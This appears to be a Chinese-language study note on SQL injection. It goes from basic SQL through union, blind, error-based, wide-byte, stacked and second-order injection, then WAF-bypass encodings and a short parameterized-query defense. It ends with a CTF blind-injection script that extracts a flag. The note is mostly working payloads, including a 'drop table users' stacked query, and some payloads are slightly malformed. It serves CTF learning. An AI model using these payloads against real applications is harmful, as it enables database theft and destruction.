create database if not exists mydatabase;--添加if not exists可以防止创建已存在的数据库
3.创建表:
create table users(id int ,username varchar(50),age int);
4.写入列:
insert into users(id,username,age) values(1,"admin",18);
5.查询用户:
select * from users;--select * from users where id=1;#规则查询
6.更新数据:
update users set username="admin1" where id=1;
7.删除数据:
delete from users where id=1;
进阶sql语句:
1.联合查询:
select * from users union select * from admins;
2.分组:
select id,sum(age) from users group by id;--在group by的基础上可以使用聚合函数
3.子查询:
select * from users where id in(select id from admins);
4.时间函数:
select sleep(2);
基本注⼊
数字注⼊:
直接拼接sql语句
1 or 1=1 union select 1;#
字符注⼊:
通过闭合引号让sql语句成立
搜索注⼊:
在使用like操作符的时候使用(通常包含通配符%)
admin'and 1=1 '%'='
union注⼊:
在确认列数和显示位的时候使用
1.确认列数:
a'1=1 union order by 1#
...
a'1=1 union order by 4# --报错的话列数就是3
2.确认显示位:
a'1=1 union select 1,2,3# --查看页面显示的数字位置
3.获取信息:
a'1=1 union select 1,database(),3# --爆库
a'1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_name=database()# --爆表
a'1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'table'# --爆字段
a'1=1 union select 1,(select 'column' from 'table'),3# --获取数据
宽字节注⼊:
使用gbk/gb2312等宽字节编码
?id=%df%27 and 1=1# --%df%27=%df%5c%27 %df%5c构成一个中文字符,让%27(单引号)逃逸
盲注:
穷尽、盲猜内容
1.爆数据库名长度:
?id=1 and length(database())=1# --query_error
........
?id=1 and length(database())=5# --query_success
#库名长度为5
2.爆库名:
?id=1 and substr(database(),1,1)='a'#--query_error
...
?id=1 and substr(database(),1,1)='s'#--query_success
#库名第一个字符是s
3.爆表的数量:
?id=1 and (select count(*) from information_schema.tables where table_schema=database()))=1#--query_success
#当前库有1张表
报错注⼊:
利用数据库错误信息回显获取数据库信息
?id=1 and extractvalue(1,concat(0x7e, database(), 0x7e))#
?id=1 and updatexml(1, concat(0x7e, version(), 0x7e), 1)#
堆叠注⼊:
利用数据库支持堆叠查询的特性执行恶意操作
?id=1;insert into users(username) values('user')#
?id=1;drop table users#
⼆次注⼊:
通过构造恶意数据存储在数据库中,在被读取后进行sql查询注入攻击
注册时的用户名:
admin'#
数据库存储时:
update users set password='$new_pass' where username='admin'# and password='$old_pass';
这样直接修改了admin的密码
waf绕过
转码:
1.URL编码:%55nion %53elect → union select
2.十六进制:0x756e696f6e → union
1.python:cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
2.php:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
ctf.show_web8借鉴别人wp的脚本:
import requests
s = requests.session()
url='http://7247a529-528f-4348-8b43-b6a461c6bab4.challenge.ctf.show/index.php'
table=""
for i in range(1,45):#预计flag长度
for j in range(31,128):#遍历可能的ascii码值(32-126)是可打印字符
#payload="ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
res = s.get(url=url+'?id=0/**/or/**/'+payload).text
if 'I asked nothing'in res:#当payload的sql条件为真时,页面返回特定字符串
table+=chr(j)
print(table)
break